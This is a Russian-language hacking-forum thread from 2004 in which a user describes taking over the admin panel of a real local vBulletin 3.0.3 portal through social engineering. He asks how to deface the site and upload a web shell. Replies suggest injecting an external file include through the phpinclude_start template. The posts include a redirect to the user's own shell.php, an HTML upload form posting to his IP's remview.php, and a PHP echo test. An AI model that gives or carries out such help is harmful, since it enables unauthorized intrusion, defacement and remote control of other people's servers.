HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Дефейс 4ерез Vbulletin 3.0.3
  #1  
Старый 18.12.2004, 04:00
ProTeuS
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,367
С нами: 11291486

Репутация: 2175


По умолчанию Дефейс 4ерез Vbulletin 3.0.3

Я поимел поcтуп к админпанели vBulletin 3.0.3. хо4у сайт дефейснуть, дописываю в шаблоны свой код, но 4е-то он не канает...
location=myip/shell.php по понятным при4инам работает с правами браузера, а сам шелл залить не могу(виндовая та4ка, wget не идет)
4то можете посоветовать?
 
Ответить с цитированием

  #2  
Старый 18.12.2004, 11:06
Егорыч+++
Познавший АНТИЧАТ
Регистрация: 27.05.2002
Сообщений: 1,241
С нами: 12607586

Репутация: 0


По умолчанию

Не надо никакой шел заливать. В щаблонах есть файл phpinclude_start туда можно вставить ссылку на внешний файл. Этого должно быть достаточно.
 
Ответить с цитированием

  #3  
Старый 19.12.2004, 05:26
ProTeuS
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,367
С нами: 11291486

Репутация: 2175


По умолчанию

Цитата:
Сообщение от Егорыч+++  
Не надо никакой шел заливать. В щаблонах есть файл phpinclude_start туда можно вставить ссылку на внешний файл. Этого должно быть достаточно.
Нет, ЕГОРЫ4. в phpinclude_stat не канает... только просто в phpinclude. Вот вставил такой код:

<FORM ENCTYPE="multipart/form-data" ACTION="http://мой айпи/remview.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1000000">
Send this file: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send File">
</FORM>

к сожадению нету где проверить. 4то скажете, воркать(не локально, а открываться в правами на дефейснутой та4ке) будет(я в этом дело абсолютный 0)???

2 ЧегеВара: Да это я один портал в нешей городской локалек поимел =)
А там и этот новенький форумеЦ стоит
 
Ответить с цитированием

  #4  
Старый 18.12.2004, 15:17
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
С нами: 11893346

Репутация: 45


По умолчанию

А как ты туда доступ поимел, хотелось бы узнать ...
 
Ответить с цитированием

  #5  
Старый 19.12.2004, 10:45
Егорыч+++
Познавший АНТИЧАТ
Регистрация: 27.05.2002
Сообщений: 1,241
С нами: 12607586

Репутация: 0


По умолчанию

Вообще то это можно сделать только через phpinclude_start ... не знаю как ты проверял работате он или нет, но обычно проверить можно просто вписав туда типа

<? echo("12345678"); ?>

после того как впишешь, это сообщение должно появиться на первой странички вверху
 
Ответить с цитированием

  #6  
Старый 25.12.2004, 04:43
ProTeuS
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,367
С нами: 11291486

Репутация: 2175


По умолчанию

Цитата:
Сообщение от Егорыч+++  
Вообще то это можно сделать только через phpinclude_start ... не знаю как ты проверял работате он или нет, но обычно проверить можно просто вписав туда типа

<? echo("12345678"); ?>

после того как впишешь, это сообщение должно появиться на первой странички вверху
Ну да, таким макаром на паге это выводит, я просто не знаю какой командой на этой виндовой та4ке шелл залить, или вызвать его как-то, 4тобы открыть ее диски Может поможете....

2 Automan: ну да, vBulletin 3.0.3. И пас я расдобыл 4ичто соЦинженерией
 
Ответить с цитированием

  #7  
Старый 19.12.2004, 12:06
Automan
Новичок
Регистрация: 19.12.2004
Сообщений: 1
С нами: 11258312

Репутация: 2
По умолчанию

ProTeuS - ты это с каким форумом сделал, сэтим что-ли?=)
Скажи как ты это сделал.
Если не хочешь делиться забеслпатно своими достяжениями пиши в асю: 313102321, у меня много всего полезного есть, сможем договориться=)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.